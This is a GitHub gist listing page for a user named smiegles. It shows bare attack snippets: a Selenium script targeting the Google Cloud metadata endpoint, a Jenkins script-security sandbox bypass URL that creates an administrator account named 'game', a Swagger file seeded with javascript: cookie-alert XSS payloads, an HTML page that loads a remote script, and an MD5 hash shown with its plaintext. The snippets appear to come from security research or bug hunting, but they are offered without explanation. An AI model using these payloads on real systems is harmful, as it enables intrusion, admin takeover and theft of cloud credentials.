smiegles
/ selenium_google_metadata_ssrf.py
Created
January 14, 2021 18:06
selenium_google_metadata_ssrf.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| require 'selenium-webdriver' | |
| @host = "http://metadata.google.internal/computeMetadata/v1/instance/" | |
| def setup | |
| @driver = Selenium::WebDriver.for( | |
| :remote, | |
| url: 'https://SELENIUM_URL/wd/hub', | |
| desired_capabilities: :chrome) | |
| end |
smiegles
/ payload
Created
July 26, 2019 15:20
— forked from akhil-reni/payload
Jenkins Metaprogramming RCE Create new user
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://localhost:8080/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/?sandbox=True&value=import+jenkins.model.*%0aimport+hudson.security.*%0aclass+nice{nice(){def+instance=Jenkins.getInstance();def+hudsonRealm=new+HudsonPrivateSecurityRealm(false);hudsonRealm.createAccount("game","game");instance.setSecurityRealm(hudsonRealm);instance.save();def+strategy=new+GlobalMatrixAuthorizationStrategy();%0astrategy.add(Jenkins.ADMINISTER,'game');instance.setAuthorizationStrategy(strategy)}} |
smiegles
/ gist:f966e5cbccf516f5da119d28e74b7421
Created
October 8, 2018 05:50
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 63CB9C0E41A3C64291D893F10C6C5620 : Ju35pQ7BmmCuQqNq : md5 |
smiegles
/ gist:3c8ae97c103fa291e1027bb3c855ad69
Created
April 10, 2018 22:27
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: "2.0", | |
| info: | |
| title: "Swagger Sample App", | |
| description: "Please to click Terms of service" | |
| termsOfService: "javascript:alert(document.cookie)" | |
| contact: | |
| name: "API Support", | |
| url: "javascript:alert(document.cookie)", | |
| email: "javascript:alert(document.cookie)" | |
| version: "1.0.1" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ### Keybase proof | |
| I hereby claim: | |
| * I am smiegles on github. | |
| * I am smiegles (https://keybase.io/smiegles) on keybase. | |
| * I have a public key ASBzeVeqz3_edEhnZh9gTm6BpeZzxqTa2WOMs4zH2dZzhwo | |
| To claim this, I am signing this object: |
smiegles
/ payload.html
Last active
January 28, 2016 22:45
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script src="https://gist.githubusercontent.com/smiegles/9b27ab5931588aa862d5/raw/2325f2887fed43963a50c82af572823009f32150/script.js"></script> |